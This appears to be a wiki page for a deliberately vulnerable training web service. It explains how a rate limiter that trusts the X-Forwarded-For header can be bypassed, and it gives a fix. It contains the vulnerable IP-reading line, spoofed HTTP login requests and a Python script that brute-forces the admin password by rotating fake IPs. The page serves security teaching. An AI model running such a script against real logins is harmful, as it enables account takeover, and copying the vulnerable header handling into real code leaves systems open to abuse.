-
Notifications
You must be signed in to change notification settings - Fork 214
Rate Limit Bypass
The application implements IP-based rate limiting to prevent abuse such as brute-force attacks. However, the mechanism relies on the X-Forwarded-For HTTP header to identify the client's IP address. This header is trusted blindly by the application without verifying if the request actually came from a trusted proxy.
- Rate Limiting Logic: The application tracks the number of requests associated with an IP address within a time window (e.g., 100 requests per 30 seconds).
-
IP Identification: The application attempts to retrieve the client IP using:
const ip = req.headers['x-forwarded-for'] || req.connection.remoteAddress;
-
The Flaw: An attacker can manually set the
X-Forwarded-Forheader in their HTTP request. Since the application prioritizes this header, the attacker can spoof their IP address.
An attacker wishes to brute-force a user's password but is blocked after 100 attempts.
The attacker sends 100 login attempts.
POST /api/v2/login HTTP/1.1
Host: dvws.local
...
username=admin&password=guess1Result: After 100 attempts, the server responds with 429 Too Many Requests.
The attacker changes the X-Forwarded-For header to a new value (e.g., 1.2.3.4).
POST /api/v2/login HTTP/1.1
Host: dvws.local
X-Forwarded-For: 1.2.3.4
...
username=admin&password=guess101Result: The server sees this as a request from a new user (1.2.3.4) and allows it, resetting the counter for the attacker.
By rotating the X-Forwarded-For value for every batch of requests (or every single request), the attacker can completely bypass the rate limit and perform unlimited brute-force attempts.
Example Attack Script (Conceptual):
import requests
url = "http://dvws.local/api/v2/login"
passwords = load_passwords()
for i, password in enumerate(passwords):
# Spoof a new IP every request or every N requests
fake_ip = f"10.0.0.{i % 255}"
headers = {"X-Forwarded-For": fake_ip}
data = {"username": "admin", "password": password}
response = requests.post(url, json=data, headers=headers)
if response.status_code == 200:
print(f"Password found: {password}")
break- Credential Stuffing / Brute Force: Attackers can guess passwords without restriction.
- Denial of Service (DoS): Attackers can exhaust server resources by bypassing limits intended to protect the system.
- Spam: If applied to comment or registration endpoints, attackers can flood the system with spam.
To fix this vulnerability, the application should only trust the X-Forwarded-For header if it comes from a trusted proxy (e.g., a load balancer or reverse proxy controlled by the organization).
Secure Implementation Example (Express.js): Configure the application to trust only specific proxies:
// In app.js
app.set('trust proxy', 'loopback, 10.0.0.123'); // Only trust local and specific load balancerThen, use req.ip which Express safely resolves based on the trust settings, instead of manually reading headers.
- XML External Entity Injection
- Server Side Request Forgery (SSRF)
- Username Enumeration
- NoSQL Injection
- Insecure Direct Object Reference
- Mass Assignment
- Cross Site Scripting (XSS)
- Hidden API Functionality Exposure
- SQL Injection
- Information Disclosure
- Insecure PostMessage Configuration
- Command Injection
- Prototype Pollution
- JSON Hijacking
- XPath Injection
- Cross Origin Resource-Sharing Misonfiguration
- JWT Secret Key Brute Force
- Vertical Access Control
- Horizontal Access Control
- Open Redirect
- Path Traversal
- Unsafe Deserialization
- Sensitive Data Exposure
- Arbitrary File Write
- Introspection Enabled
- GraphQL Access Control Issues
- GraphQL Batching Brute Force
- API Endpoint Brute Forcing
- CRLF Injection
- XML Injection
- XML Bomb Denial‐of‐Service
- SOAP Injection
- JSON CSRF
- LDAP Injection
- Rate Limit Bypass
- Client Side Template Injection